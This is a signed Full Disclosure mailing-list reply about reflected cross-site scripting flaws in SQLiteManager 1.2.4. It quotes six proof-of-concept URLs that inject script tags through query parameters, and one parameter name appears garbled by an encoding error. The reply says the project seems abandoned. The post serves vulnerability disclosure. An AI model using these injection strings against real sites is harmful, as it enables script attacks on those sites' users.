Re: SQLiteManager 1.2.4: Multiple XSS

[Henri Salo <henri () nerv fi>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Tue, Nov 03, 2015 at 12:06:20PM +0100, Curesec Research Team (CRT) wrote:
> SQLiteManager 1.2.4: Multiple XSS
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&function=";><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&table=";><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&trigger=";><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&view=";><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=2&action=browseItem&DisplayQuery=</textarea><script>alert(1)</script>
> http://localhost/SQLiteManager-1.2.4/main.php?dbsel=1&table=t1&action=insertElement¤tPage=0'";><script>alert(1)</script>

As far as I can tell this project is dead and they have no plans to fix security
vulnerabilities. I tried to contact them years ago, but never received any
response. These issues look similar to CVE-2007-1231. Please see:
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1231

- -- 
Henri Salo
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJWQIopAAoJECet96ROqnV0RVYQAMl+kf/u586FYo5ck4brxsyy
HCYPdXi4Wz6FzPNipvmTZRHc5uS0+tcXeFgrpTSCAUHlFNOHaJyMs9m9T9kLPfjc
D/kKopnJqoQUi3JMFjr/7Zu5vcPKq/aynIRgBOBa0yQzQJsh+NDoun0ClXftLRc0
tMQ7IpCuRUa2jE7DUbKwEiHtNJM79iLi/TfmFJKy2ulePwXX9AEK7P+rbkTCLSSJ
fY5VEHmKH8LudAiuS/jc/LN7HL9fm6Ndw+LSDsCPuLl6pNr9RIwv1xO2Bi/mBPYV
GjlL9aW+41C/2QlU86/UujelKU5DrNF9UeQZuH6bhAjHcYBVQQtrw5xVn62z5Iea
usBKcYiK4ZPVknajpu90saoerOYM0ILo2wnTYr/KvVQeCdIWnir76ZIoBXA7tYFY
7eg9dgiAMHSNh8fnhlV8pEeVBKZ8t55vafz6WZa+NUfP8fTpZeN8UmHCAWF1Kppw
70NncxHU3BWFPR/HbWvoWKxiOcOxRASUnWgpb2zVau2EjwxlJEt6MTtvp3Gynu7D
XHo0clJwklJBPGsU00EETp+pgYGEi94knUv5/kG+Ki3YMiIJl3aRpwVZy+sBAvq8
SoMCbITFOM2KI2dIsrR7SSIFmmDL6sUwaEocNkn271iUCSELXEIKrTTw69gDpCYu
tiAf46Qz02EK/Jwmw8Hw
=rwKh
-----END PGP SIGNATURE-----

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/